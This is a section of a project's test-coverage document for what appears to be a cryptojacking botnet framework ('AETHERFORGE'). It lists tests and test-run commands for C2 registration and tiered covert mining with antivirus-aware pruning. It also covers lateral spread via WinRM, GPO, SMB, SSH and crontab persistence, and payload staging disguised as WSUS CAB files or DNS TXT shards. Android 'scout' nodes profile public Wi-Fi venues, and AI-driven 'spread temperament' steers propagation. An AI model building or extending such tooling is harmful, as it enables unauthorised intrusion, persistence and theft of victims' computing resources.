| Spread router (BGP-style min-clearance routes) | `server/internal/spreadrouter/router_test.go`, `pathtracer_handler_test.go` (`SpreadRoute`), `deploy_plan_test.go`, `discover_join_test.go` (`SpreadRouteHint`) | 1 / 2 |
|
||
| Risk badge + `reconRisk` helpers | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
|
||
| Credential graph table (Spread tab) | `ReconBadges.test.tsx` (`CredentialGraphTable`) | 4 |
|
||
| Probe & Join (`discover_and_join`) | `CrucibleExpandedOps.test.tsx` (`Probe & Join` button → `discover_and_join`) | 4 |
|
||
| Crucible bulk pause/resume E2E | `server/web/e2e/crucible-bulk.spec.ts` | 8 |
|
||
| Fleet bulk actions hook | `server/web/src/hooks/useFleetBulkActions.test.ts` | 4 |
|
||
| War Room LOTL/join-lane telemetry | `server/web/src/help/warRoomTelemetry.test.ts` | 4 |
|
||
| Spread template export panel | `server/web/src/help/spreadTemplateExport.test.ts`, `SpreadTemplateExportPanel.tsx` | 4 |
|
||
|
||
### Fleet intelligence (2026-06-07 parallel agents)
|
||
|
||
| Feature | Test file(s) | Suite phase |
|
||
|---------|----------------|-------------|
|
||
| Phenotype publish + sibling inherit | `server/internal/api/phenotype_test.go`, `server/internal/db/phenotype_test.go`, `agent/client/phenotype_policy_test.go` | 1 / 2 |
|
||
| Failure atlas subtree skip | `server/internal/atlas/failure_atlas_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
|
||
| Singular Machine Court | `server/internal/ai/court_prompt_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
|
||
| Clearance L0–L4 enforcement | `server/internal/clearance/clearance_test.go`, `server/internal/api/fleet_intelligence_test.go` | 1 |
|
||
| Access Depth phenotype + clearance badge | `AccessDepthPanel.test.tsx`, `clearance.test.ts` | 4 |
|
||
| LOTL Timeline atlas skip + cloned-from | `lotlTimeline.test.ts`, `LotlTierTimeline.test.tsx` | 4 |
|
||
| Court decision UI | `LotlTimelinePage.test.tsx` | 4 |
|
||
| AI snapshot phenotype/atlas/clearance | `agent/client/ai_snapshot_test.go` | 2 |
|
||
| Service graph summary UI | `CrucibleExpandedOps.test.tsx` (mocked `ServiceGraphSummary`) | 4 |
|
||
| `vuln_findings` / `join_lane` WS stats merge | `applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
|
||
| Emberwake `join_lane` funnel tag | `ReconBadges.test.tsx` (`JoinLaneBadge`), `WarRoomFunnelBoard.tsx` | 4 |
|
||
| `vuln_probe` recon tier in mining chain | `agent/miner/tier_vuln_probe_test.go`, `mining_chain_test.go` | 2 |
|
||
|
||
### P1  LOTL tiered mining (onion feature set)
|
||
|
||
| Test | What it validates | File | Phase |
|
||
|------|-------------------|------|-------|
|
||
| `TestSelectMiningTierChain*` | Diagnostics-driven tier chain order, AV/GPU/WSL pruning, force/skip tiers | `agent/miner/lotl_tier_test.go` | 2 |
|
||
| `TestTierOrchestrator*` | Sequential tier attempts, wallet parity, GPU addon gating, tier_report events | `agent/miner/lotl_orchestrator_test.go`, `lotl_tier_test.go` | 2 |
|
||
| `TestTryChainRunTierHooksPopulatesLOTLFields` | Fallback chain ↆtier orchestrator integration | `agent/miner/fallback_chain_test.go` | 2 |
|
||
| `TestDefaultFallbackChain*` / launcher tests | powershell, dotnet, wsl, docker_load, container execution tiers | `agent/miner/*_launcher_test.go`, `fallback_chain_test.go` | 2 |
|
||
| `TestRunWMITier*` / `TestRunScheduledTaskTier*` / `TestRunGPUComputeTier*` / `TestRunWebView2Probe*` | Windows/Linux execution tiers with mocked binaries | `agent/miner/tier_*_test.go` | 2 |
|
||
| `TestAppendLinuxPyOpenCL*` | linux_pyopencl tier insertion | `agent/miner/pyopencl_test.go` | 2 |
|
||
| `TestApplyAuthLotlPolicy*` / `TestMiningTierPolicy*` | Server-pulled mining tier policy from auth | `agent/client/mining_policy_test.go` | 2 |
|
||
| `TestMiningDiagnostics*` / `TestInferMiningBlockers*` | Diagnostics JSON + tier chain fields + blockers | `agent/client/mining_diagnostics_test.go` | 2 |
|
||
| `TestChainOrderForConfig*` | Client mining chain order hooks | `agent/client/mining_chain_test.go` | 2 |
|
||
| `TestMiningChainRunner*` / `TestMiningChainSkips*` | Full `MiningChainRunner` lifecycle: `newMiningChainRunner`, start/stop/cooldown, recon→deploy→mining ordering, container/inprocess/GPU hooks (mock runtime), `onion_report`/`tier_report` payload shape, `lotl_attempts` merge, mining disabled/apk skip, tier failure advance, exhausted chain | `agent/client/mining_chain_lifecycle_test.go` | 2 |
|
||
| `TestNormalizeLotlTiers*` / `TestTryLotlTier*` | Spread onion tier normalization + unix stub tiers | `agent/deploy/lotl_tiers_test.go`, `lotl_onion_stub_test.go` | 2 |
|
||
| `TestStagingRejectsPathTraversal*` / `TestVerifyFileSHA256*` | BITS/curl/certutil staging path hygiene + hash verify | `agent/deploy/staging_test.go` | 2 |
|
||
| `TestValidateUNCSpreadPath*` / `TestSMBUNCSvcName*` | SMB sc.exe spread helpers | `agent/deploy/smb_unc_spread_test.go` | 2 |
|
||
| `TestDoPeer*` / do_peer staging | DoSvc shadow cache handoff  hash verify + launch | `agent/deploy/do_peer_staging_test.go` | 2 |
|
||
| `TestDNS*` / dns_txt staging | DNS TXT shard assembly + SHA256 verify | `agent/deploy/dns_txt_staging_test.go` | 2 |
|
||
| `TestWebRTCMesh*` | WebRTC mesh manifest receive (mock channel) | `agent/deploy/webrtc_mesh_test.go` | 2 |
|
||
| `TestWSUSCachePeer*` / `TestWrapSSUHeaderRoundTrip` / `TestWSUSCachePeerAssembleFormatMimicRoundTrip` | WSUS cache cousin staging + SSU/CAB format-mimic wrap/unwrap roundtrip | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 |
|
||
| `TestWrapWSUSChunkPayloadRoundTrip` / `TestBuildPlanWSUSCachePeerLaneFormatMimicOff` | Server `/get?wsus_wrap=1` envelope + deploy-plan `*.cab.partial` chunk names | `server/internal/api/wsus_format_mimic_test.go`, `deploy_plan_test.go` | 1 |
|
||
| Deploy plan spread lanes | do_peer / dns_txt / webrtc_mesh / wsus_cache_peer signed plans | `server/internal/api/deploy_plan_test.go`, `agent/deploy/discover_join_test.go`, `server/internal/api/service_deploy_test.go` | 1 / 2 |
|
||
| Join lane labels (do_peer, dns_txt, webrtc, wsus) | Crucible/Emberwake badge copy | `server/web/src/help/reconRisk.test.ts`, `ReconBadges.test.tsx` | 4 |
|
||
| `TestMiningStatusRelayCoalescedToStatsBatch` | `mining_hashrate`, `lotl_tier`, `lotl_attempts` in stats_batch | `server/internal/api/websocket_test.go` | 1 |
|
||
| `TestStatsBatchCoalescesSameAgent` | Same-agent coalesce preserves LOTL fields | `server/internal/api/websocket_test.go` | 1 |
|
||
| `TestAgentLotlFieldsJSONRoundTrip` | Agent model JSON exposes tier telemetry | `server/internal/models/agent_test.go` | 1 |
|
||
| `TestApplyLotlOnionPreset` / `TestNormalizeLotlOnionTiers` | Fusion/builder LOTL Onion preset | `server/internal/builder/lotl_onion_test.go` | 1 |
|
||
| `applyStatsUpdate` / `wsStatsCoalesce` LOTL fields | `lotl_tier`, `lotl_attempts`, `mining_hashrate` merge | `server/web/src/help/applyStatsUpdate.test.ts`, `wsStatsCoalesce.test.ts` | 4 |
|
||
| `LotlTierBadge` / `LotlAttemptsList` | Crucible tier badge + attempt list UI | `server/web/src/components/Fleet/LotlTierBadge.test.tsx` | 4 |
|
||
| `WebSocketProvider` stats_batch LOTL | Dashboard WS applies tier fields | `server/web/src/context/WebSocketProvider.test.tsx` | 4 |
|
||
| Forge LOTL Onion preset UI | `applyOperationMode('lotl_onion')` flags | `server/web/src/help/forgeOperationModes.test.ts` | 4 |
|
||
| LOTL onion tier docs | 14-tier spread chain constants (sync with `DefaultLotlOnionTiers`) | `server/web/src/help/lotlOnionTiers.test.ts`, `agent/deploy/lotl_tiers_test.go`, `server/internal/builder/lotl_onion_test.go` | 2 / 4 |
|
||
| Fleet health bulk pause/resume | Bulk command framing + toolbar wiring | `server/internal/api/fleet_handler_test.go`, `components.test.tsx` | 1 / 4 |
|
||
| `TestRegistrationPlatformFromEnv` / `TestAuthPayloadPlatformFromEnv` | APK wrapper `AETHERFORGE_PLATFORM=android` → auth `platform` | `agent/config/platform_test.go`, `agent/client/protocol_test.go` | 2 |
|
||
| `TestSelectMiningTierChainAndroid` | Shortened foreground → in-process tier chain | `agent/miner/lotl_tier_test.go` | 2 |
|
||
| `buildAccessDepthModel android` / `buildLotlTimelineModel android` | Android probes + 3-step onion timeline | `server/web/src/help/accessDepth.test.ts`, `lotlTimeline.test.ts`, `platform.test.ts` | 4 |
|
||
|
||
### APK fleet node mode
|
||
|
||
Android workers are embedded Go binaries launched by the APK Java wrapper. Before spawn the wrapper sets:
|
||
|
||
- `AETHERFORGE_SERVER_URL`  C2 base URL
|
||
- `AETHERFORGE_WORKER_NUMBER`  fleet worker slot (shown in AI snapshots)
|
||
- `AETHERFORGE_PLATFORM=android`  registration label (overrides `runtime.GOOS=linux`)
|
||
|
||
Optional probe env vars for Access Depth (`environment_probes`):
|
||
|
||
- `AETHERFORGE_WIFI_CONNECTED=1`
|
||
- `AETHERFORGE_BATTERY_OK=1`
|
||
- `AETHERFORGE_FOREGROUND_SERVICE=1`
|
||
|
||
Forge may also bake `ApkMode` and `ScoutMode` (`-ldflags` / builder preset) so registration reports `platform=android` without runtime env. **Scout mode** (`scout_mode: true`) keeps mining off, runs `discover_and_join` + `service_graph` only, pushes phenotype via `scout_report`, and never stages spread payloads. **Scout constellation mode** (zero config): 3+ `scout_report` hits on the same SSID within 10 minutes form a venue constellation; server infers `airport`/`campus`/`retail`/`unknown` and pushes venue persona packs via `spread_policy` + `policy_update`. APK scouts send `ssid` from `AETHERFORGE_WIFI_SSID`; Emberwake/dashboard weather-map merges active scout biomes.
|
||
|
||
Persona spread temperament (`server.ai_persona`) maps aggressive/silent/passive/persuasive/balanced to default spread tier order hints. When `ai_control_enabled` is on, auth and `policy_update` push `spread_temperament` (adaptive_strategy shape) and `FleetAISnapshot` merges it for the scheduler  AI shapes propagation personality, not just restarts.
|
||
|
||
Quick run:
|
||
|
||
```bat
|
||
cd agent && go test ./config/... ./client/... ./miner/... -run "RegistrationPlatform|AuthPayloadPlatform|SelectMiningTierChainAndroid" -count=1
|
||
cd server\web && npm test -- --run src/help/platform.test.ts src/help/accessDepth.test.ts src/help/lotlTimeline.test.ts
|
||
```
|
||
|
||
Crucible shows 🤖 for Android roster rows; Access Depth uses Wi-Fi / battery / foreground-service probe chips and a 2-tier mining onion (desktop tiers listed as skipped).
|
||
|
||
Run LOTL Go tests quickly:
|
||
|
||
```bat
|
||
cd agent && go test ./miner/... ./client/... ./deploy/... -run "Lotl|LOTL|Tier|Staging|Fallback|Mining|PyOpenCL|WMI|WebView|GPUCompute|Scheduled|UNC" -count=1
|
||
cd server && go test ./internal/api/... ./internal/builder/... ./internal/models/... -run "Lotl|LOTL|Tier|StatsBatch|Mining" -count=1
|
||
cd server\web && npm test -- --run src/help/lotlOnionTiers.test.ts src/components/Fleet/LotlTierBadge.test.tsx src/help/applyStatsUpdate.test.ts src/context/WebSocketProvider.test.tsx
|
||
```
|
||
|
||
### P2  spread lanes (mock/inject; no real remote hosts)
|
||
|
||
| Test | What it validates | File | Phase |
|
||
|------|-------------------|------|-------|
|
||
| `TestCurlStagingAssemblyWithInject` / `TestBITSStagingAssemblyWithInject` | `stage_fetch` / `RunStagingChain` chunk assembly, SHA256 verify, injectable BITS/curl hooks | `agent/deploy/staging_chain_test.go` | 2 |
|
||
| `TestStageFetchEmptyURLRejected` / `TestStageFetchSHA256MismatchRejected` / `TestStageFetchDownloaderErrorPropagates` | Staging manifest error handling (empty URL, hash mismatch, downloader failure) | `agent/deploy/staging_chain_test.go` | 2 |
|
||
| `TestRunStagingChainWindowsOnlyStub` | Non-Windows `RunStagingChain` returns explicit Windows-only error | `agent/deploy/staging_stub_test.go` | 2 |
|
||
| `TestWinRMEncodePowerShellRoundTrip` / `TestWinRMSpreadScriptMarkers` | WinRM encoded bootstrap script shape (`--spread-install`, `--defer-mining`) | `agent/deploy/winrm_spread_test.go` | 2 |
|
||
| `TestSystemdLinuxLOTLLane*` / `TestTryLotlTierLinuxLOTLLane` | Linux LOTL `sshSpread*` commands + systemd/crontab persist stubs | `agent/deploy/linux_lotl_test.go` | 2 |
|
||
| `TestDOPeerRejectsPathTraversal` / `TestWSUSCachePeerRejectsPathTraversal` / `TestDNSTXTRejectsPathTraversal` | Staging path hygiene for `do_peer`, `wsus_cache_peer`, `dns_txt` lanes | `agent/deploy/do_peer_staging_test.go`, `wsus_cache_peer_staging_test.go`, `dns_txt_staging_test.go` | 2 |
|
||
| `TestWSUSCachePeerAssembleFormatMimicRoundTrip` | WSUS staging roundtrip: wrapped `*.cab.partial` chunk → unwrap → SHA256 verify | `agent/deploy/wsus_cache_peer_staging_test.go` | 2 |
|
||
| `TestPickDeployLaneGPO` / `TestPickDeployLaneWinRM` / `TestPickDeployLaneLinuxLOTL` | Service discovery → join lane dispatch (GPO, WinRM, linux_lotl) | `server/internal/api/service_deploy_test.go` | 1 |
|
||
| `TestDeployPlanWinRMLane` / `TestDeployPlanGPOLane` / `TestDeployPlanLinuxLOTLLane` | Signed deploy plan script rendering from spread templates | `server/internal/api/spread_lanes_test.go` | 1 |
|
||
| `TestExportSpreadTemplateGPO` / `TestExportSpreadTemplateLinuxLOTL` / `TestExportSpreadTemplateWinRMMarkers` | Spread handler ZIP export shape + template marker replacement | `server/internal/api/spread_handler_test.go` | 1 |
|
||
| `TestSpreadTemplateRejectsUnknownLane` / `TestSpreadTemplateRequiresServerURL` | Spread template export payload validation | `server/internal/api/spread_handler_test.go` | 1 |
|
||
| `TestStageFetchAllowRemoteAction` / `TestStageFetchRejectsBadManifestJSON` | Agent `stage_fetch` clearance gate + bad manifest JSON | `agent/client/stage_fetch_test.go` | 2 |
|
||
|
||
Quick run (matches `PROBLEMS.md` P2 spread-lane subset):
|
||
|
||
```bat
|
||
cd agent && go test ./deploy/... ./client/... -run "BITS|Curl|WinRM|GPO|systemd|Stage|spread" -count=1
|
||
cd server && go test ./internal/api/... -run "Spread|Deploy|Service" -count=1
|
||
```
|
||
|
||
**Still P2 (honest gaps):** live Docker/Podman start, real WinRM/GPO/systemd/crontab on remote hosts, live BITS/curl on target OS, live multi-hop discover→spread E2E (stub Playwright only), Path Forge cancel/batch race UI.
|
||
|
||
### Gaps (hard to unit-test)
|
||
|
||
- **Real Docker/Podman container start**  requires OCI runtime on host; covered by chain logic mocks only.
|
||
- **`DetectContainerRuntime` CLI probe**  depends on `exec.LookPath`; execution mode tests use `SetRuntimeDetector` inject instead.
|
||
- **Live pool + GPU binary on host**  `MiningChainRunner` lifecycle covered in `mining_chain_lifecycle_test.go` with mock container exec + injected hooks; no live Docker daemon or T-Rex download required.
|
||
- **Real WinRM/GPO/systemd/crontab spread execution**  requires elevated Windows domain or Linux init; template export + lane dispatch covered in P2 tests above.
|
||
- **Real BITS/curl/certutil download**  network + OS tooling; injectable staging hooks in `staging_chain_test.go` cover assembly without live transfers.
|
||
- **E2E Crucible lotl_tier badge**  covered in `crucible-command.spec.ts` (stub sends `lotl_tier` + `lotl_attempts` via WS `stats`; requires live server  phase 8 or `AETHERFORGE_URL`).
|
||
- **Playwright fleet recon flow**  Probe & Join POST + stub join_lane ack in `discover-spread.spec.ts`; real lateral spread execution still not E2E.
|
||
|
||
### Agent logs (not a missing API)
|
||
|
||
- **`get_log` command**  Fleet Roster → Remote Control → Fetch Log (or `GET /api/v1/agents/{id}/log?refresh=1` triggers the command and returns cached tail)
|
||
- **`upload_log` AI tool**  when AI autonomy is enabled, the agent reports log content via `/api/v1/agent/report` after an Ollama tool call
|
||
|
||
Unit tests cover `AgentRemoteActions` offline gating and mining live-stats in `components.test.tsx`; Playwright `e2e/remote-actions.spec.ts` mocks an offline agent and asserts disabled buttons.
|
||
|
||
### Frontend types (`types/index.ts`)
|
||
|
||
TypeScript interfaces in `server/web/src/types/` are compile-time contracts only  no runtime JSON schema guards. Validation lives in forms, forge preflight, and server-side handlers.
|
||
|
||
|
||
|
||
|